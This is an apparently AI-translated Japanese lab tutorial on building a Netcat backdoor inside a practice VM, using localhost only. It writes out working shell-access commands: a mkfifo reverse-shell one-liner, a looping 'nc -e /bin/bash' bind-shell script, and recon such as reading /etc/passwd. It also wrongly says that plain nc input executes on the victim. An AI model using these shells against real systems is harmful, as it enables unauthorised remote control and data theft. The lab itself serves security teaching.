Netcat でバックドアを構築する

Beginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、多機能なネットワーキングツールである Netcat を使用して基本的なバックドアを作成し、システム間でリモート接続を確立する方法を学びます。実践的な演習を通じて、リスナーの設定、接続の開始、およびリモートコマンドの実行を練習します。

この実験では、サイバーセキュリティで使用される基本的なネットワーク通信技術を実演し、攻撃能力と防御上の考慮事項の両方について洞察を提供します。Netcat の機能に関する実践的な経験を積みながら、単純なツールをどのようにバックドア作成に利用できるかを理解します。


Skills Graph

Netcat のインストール

このステップでは、ネットワーク接続からの読み取りと書き込みを可能にする基本的なネットワーキングツールである Netcat(しばしば 'nc' と略されます)をインストールします。Netcat は、ネットワークのトラブルシューティングやデータ転送に役立つ万能ツールと考えてください。この実験では、コンピュータ間の接続を作成するための主要なツールとなります。

何かをインストールする前に、ソフトウェアが既に利用可能かどうかを確認するのが良い習慣です。多くの Linux システムには Netcat が事前にインストールされています。以下のコマンドを実行して、LabEx の仮想マシン(VM)環境でこれを確認しましょう。

nc -h

このコマンドは Netcat にヘルプ情報を表示するように要求します。コマンドオプションのリストが表示されたら、おめでとうございます - あなたのシステムには既に Netcat がインストールされています!代わりに「コマンドが見つかりません」というエラーが表示された場合は、心配しないでください - インストールプロセスをステップバイステップで説明します。

インストールプロセスには 3 つの簡単なコマンドが関係します。まず、Netcat の最新バージョンを取得するために、パッケージリストを更新する必要があります。

sudo apt update

'sudo' 接頭辞は管理者権限を与え、'apt update' は利用可能なソフトウェアパッケージのリストを更新します。これが完了したら、実際のインストールを進めることができます。

sudo apt install -y netcat

'-y' フラグは、インストールを続行することを自動的に確認します。これが完了したら、Netcat のバージョン情報を確認することで、正しくインストールされたことを検証する必要があります。

nc -h

これで、Netcat のコマンドオプションと構文を示す詳細な出力が表示されるはずです。以下の例のようになります。

[v1.10-46]
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
	  [-m minttl] [-O length] [-P proxy_username] [-p source_port]
	  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
	  [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]

この出力は、Netcat が正しくインストールされ、実験の次のステップで使用できることを確認します。演習を進めるにつれて、表示される様々なオプションに慣れていくでしょう。

攻撃者マシンでリスナーを起動する

このステップでは、攻撃者マシン(LabEx の仮想マシン)を Netcat を使って着信接続を待機するように設定します。これは、電話を待機するような状態で、リスナーは他のマシンからの接続を受け入れる準備をします。これが後のステップでリモートコントロールを確立するための基礎となります。

  1. まず、正しい作業ディレクトリに移動しましょう。これにより、すべてのファイルが一箇所に整理されます。
cd ~/project
  1. 次に、Netcat のリスナーを起動します。ポート 4444 を使用します(1024 から 65535 の間の利用可能なポートを選択できます)。ポートはドア番号のようなもので、接続先を特定するのに役立ちます。
nc -lvnp 4444

各フラグの役割を解説しましょう。

  • -l: Netcat をリスニングモードに設定します(電話を受けるような状態)
  • -v: 詳細な接続情報を表示します(トラブルシューティングに役立ちます)
  • -n: DNS ルックアップをスキップします(接続を高速化します)
  • -p: 使用するポート番号を指定します
  1. 成功すると、リスナーがアクティブであることが確認できます。
Listening on 0.0.0.0 4444

ターミナルが固まったように見えるかもしれませんが、これは Netcat が他のマシンからの接続を待機しているためで、正常な動作です。このターミナルウィンドウを閉じないでください。別のマシンから接続を確立する際にすぐに必要になります。

重要な注意点:実際のセキュリティテストや実世界のシナリオでは、専門家はしばしばリスナーをバックグラウンドで実行したり、tmux のようなツールを使って複数のセッションを管理します。この学習演習では、接続プロセスがどのように動作するかを明確に確認できるように、フォアグラウンドで実行することでシンプルにしています。

被害者マシンから接続する

このステップでは、被害者マシンから Netcat リスナーに接続するシミュレーションを行います。単一の LabEx 仮想マシン内で作業しているため、2 つ目のターミナル接続を開くことで、同じマシンを使って攻撃者と被害者の両方の役割をシミュレートします。これは、セキュリティテストにおいて、デモンストレーション目的で 1 台のマシンが接続の両端を担う一般的な手法です。

  1. まず、最初のターミナル(ステップ 2 で開いたもの)で Netcat リスナーがまだ実行中であることを確認してください。着信接続を受け入れるには、リスナーがアクティブでなければなりません。実行されていない場合は、同じコマンドで再起動します。
nc -lvnp 4444
  1. 新しいターミナルタブまたはウィンドウを開きます(ターミナル内で右クリックして「New Tab」を選択するか、Ctrl+Shift+T ショートカットを使用します)。この 2 つ目のターミナルは、シミュレーションにおける被害者マシンを表します。

  2. 新しいターミナルで、localhost を使ってリスナーに接続します(同じマシンを使用しているため)。IP アドレス 127.0.0.1 は常にローカルマシンを指します。

nc -nv 127.0.0.1 4444

接続コマンドで使用されているフラグの説明:

  • -n: Netcat にホスト名を解決しないよう指示し、接続を高速化します。
  • -v: 詳細な出力を提供し、接続の詳細を確認できます。
  1. 両方のターミナルに接続メッセージが表示され、接続が成功したことが確認できるはずです。
  • リスナーターミナル(着信接続を表示):
Connection received on 127.0.0.1 12345
  • 被害者ターミナル(リスナーへの接続を確認):
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
  1. これで、2 つのターミナル間の基本的な通信をテストできます。
  • 被害者ターミナルに簡単なメッセージを入力し、Enter キーを押します。
  • メッセージはすぐにリスナーターミナルに表示されるはずです。
  • リスナーから被害者にメッセージを送り返し、双方向通信を確認してみましょう。
  1. 作業が終了したら、いずれかの接続を終了するには:
  • Ctrl+C を押して接続を即座に終了します。
  • または、exit と入力して Enter キーを押し、クリーンに切断します。

リモートでコマンドを送信する

このステップでは、確立した Netcat 接続を通じてリモートでコマンドを実行する方法を学びます。これは、攻撃者が攻撃対象のシステムを制御するペネトレーションテストの基本的な手法を示しています。このプロセスを理解することで、セキュリティ担当者はこのような攻撃から防御することができます。

  1. まず、前のステップで開いた 2 つのターミナルが開いていることを確認してください。
  • ターミナル 1: Netcat リスナー (nc -lvnp 4444) - これは接続を待機している攻撃者マシンです。
  • ターミナル 2: 被害者接続 (nc -nv 127.0.0.1 4444) - これは攻撃者に接続する攻撃対象のマシンをシミュレートしています。
  1. ターミナル 1(リスナー)で、接続をテストするために基本的なコマンドを送信します。
whoami
  1. このコマンドは被害者マシン(ターミナル 2)で実行されますが、適切な出力リダイレクトを設定していないため、まだ出力は表示されません。これは基本的な Netcat 接続で作業する際に一般的な初期の問題です。

  2. ターミナル 2 で、出力リダイレクトを伴う適切なコマンドシェルを作成する高度な接続を確立します。

rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -nv 127.0.0.1 4444 > /tmp/f

これにより、名前付きパイプ (/tmp/f) が作成され、標準出力とエラーメッセージの両方を攻撃者に送信する完全な対話型シェルが設定されます。

  1. これでターミナル 1(リスナー)で、コマンドを実行してその出力を適切に表示できます。
ls -la
pwd
uname -a
  1. 被害者マシンの環境を理解するために、いくつかの基本的なシステム探索コマンドを試してみましょう。
id
cat /etc/passwd | head -5
ps aux | head -5

これらのコマンドは、それぞれユーザー情報、システムアカウント、および実行中のプロセスを表示します。

  1. 自動的に再接続する永続的なバックドアを作成するには、~/project に簡単なスクリプトを作成できます。
echo 'while true; do nc -lvnp 4444 -e /bin/bash; done' > ~/project/backdoor.sh
chmod +x ~/project/backdoor.sh

このスクリプトは、実行されると常に接続を確立し、シェルアクセスを提供しようとします。

  1. 作業が終了したら、両方のターミナルで Ctrl+C を押してすべての接続を終了することを忘れないでください。これは、リソースをクリーンアップし、実験を適切に終了するために重要です。

バックドア機能のテスト

この最後のステップでは、バックドアスクリプトが意図通りに動作するかを検証します。このプロセスは、攻撃者が攻撃対象のシステムに長期的にアクセスを維持する方法を示しています。即時の機能と永続性(後で再接続できる機能)の両方をテストします。

始める前に、各コマンドが何をするかを理解しましょう。バックドアスクリプトは、着信接続を待機するリスニングポートを作成します。接続されると、攻撃者に被害者マシンでのリモートコマンド実行機能を提供します。

  1. まず、バックドアスクリプトが正しい場所に存在することを確認しましょう。これは、前のステップでファイルが正しく作成されたかを確認します。
ls -la ~/project/backdoor.sh
  1. 次に、バックドアスクリプトをバックグラウンドで実行します。& 記号を使用すると、バックグラウンドプロセスとして実行されるため、このターミナルを引き続き使用できます。
cd ~/project
./backdoor.sh &
  1. スクリプトが実際に実行されていることを確認しましょう。このコマンドは、すべての実行中のプロセスを表示し、バックドアをフィルタリングします。
ps aux | grep backdoor.sh
  1. 新しいターミナルウィンドウ(ターミナル 2)を開きます。ここでは、攻撃者がバックドアに接続するシミュレーションを行います。-nv フラグを使用すると、netcat が詳細な情報を表示するため、接続の詳細を確認できます。
nc -nv 127.0.0.1 4444
  1. 次に、バックドアを通じてコマンドが機能するかをテストします。テストファイルを作成し、それを読み取って、適切なアクセス権があることを確認します。
echo "Backdoor test successful" > ~/project/test.txt
cat ~/project/test.txt
  1. 基本的なシステム情報を確認して、完全なコマンド実行機能があることを検証します。これらのコマンドは、現在のユーザーとシステム名を表示します。
whoami
hostname
  1. 永続性をテストするには、Ctrl+C で切断し、30 秒待ってから再接続します。これは、攻撃者が後で戻ってくるシミュレーションです。
nc -nv 127.0.0.1 4444
  1. テストファイルがまだ存在するかを確認することで、バックドアがアクセスを維持していることを検証します。
cat ~/project/test.txt
  1. 最後に、すべてのテストアーティファクトをクリーンアップします。これにより、バックドアプロセスが停止し、テストファイルが削除されます。
pkill -f backdoor.sh
rm ~/project/test.txt ~/project/backdoor.sh

まとめ

この実験では、汎用的なネットワーキングツールである Netcat を使用してバックドア接続を作成する方法を学びました。この演習では、Linux への Netcat のインストール、特定のフラグ (-lvnp) を使用したリスナーの設定、およびマシン間の秘密通信チャネルの確立について説明しました。

この実践的な経験を通じて、Netcat がリモートアクセスバックドアを作成する際の機能に関する実用的な知識を獲得しました。この実験では、不正アクセスに利用される可能性のあるネットワークユーティリティを使用する際の重要なセキュリティ上の考慮事項も強調されました。